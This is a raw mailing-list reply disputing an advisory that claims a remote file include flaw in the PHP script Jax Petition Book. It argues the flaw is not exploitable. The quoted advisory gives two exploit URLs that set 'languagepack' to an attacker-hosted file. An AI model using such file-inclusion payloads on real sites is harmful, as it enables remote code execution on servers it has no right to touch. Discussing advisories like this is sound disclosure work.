Re: Jax Petition Book (languagepack) Remote File Include Vulnerabilities

[bmatheny@mobocracy.net]

--PEIAKu/WMn1b1Hv9
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

This is not a vulnerability. Since $languagepack is prefixed by "language/",
the PHP stream handler will simply try to open a local file. Also, you can
only modify $languagepack if register_globals is on, which, it rarely is
these days.

Can we stop with the PHP 'vulnerabilities' that aren't?

-Blake

Whatchu talkin' 'bout, Willis?
> -------------------------------------------------------------------------=
-----------------------------------------
>=20
> AYYILDIZ.ORG PreSents...
>=20
>=20
> *Script: Jax Petition Book
> *Download: jtr.de/scripting/php/guestbook/petitionbook%20v1.0.3.06.zip
>=20
> *Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>
>=20
> -------------------------------------------------------------------------=
------------------------------------------
>=20
> *Code:
>=20
> require ( "language/" .$languagepack . ".inc.php" );
>=20
> -------------------------------------------------------------------------=
------------------------------------------
>=20
> *Exploit:=20
>=20
> jax_petitionbook.php?languagepack=3Dhttp://attacker.txt?
> smileys.php?languagepack=3Dhttp://attacker.txt?
>=20
> -------------------------------------------------------------------------=
------------------------------------------
>=20
> Tnx:H0tturk,Dr.Max Virus,Asianeagle,PcDelisi,CodeR,Dum?nci
> Special Tnx: AYYILDIZ.ORG

--=20
Blake Matheny
bmatheny@mobocracy.net
http://mobocracy.net

--PEIAKu/WMn1b1Hv9
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)

iD8DBQFFq/xx+1RMaZNdlgURAt9IAJsEXfACAaxXQKBgkjmFEk3ANi7trACg gzpB
CAC+9oxPxvKwEfBE8VVnSNU=
=7+Bz
-----END PGP SIGNATURE-----

--PEIAKu/WMn1b1Hv9--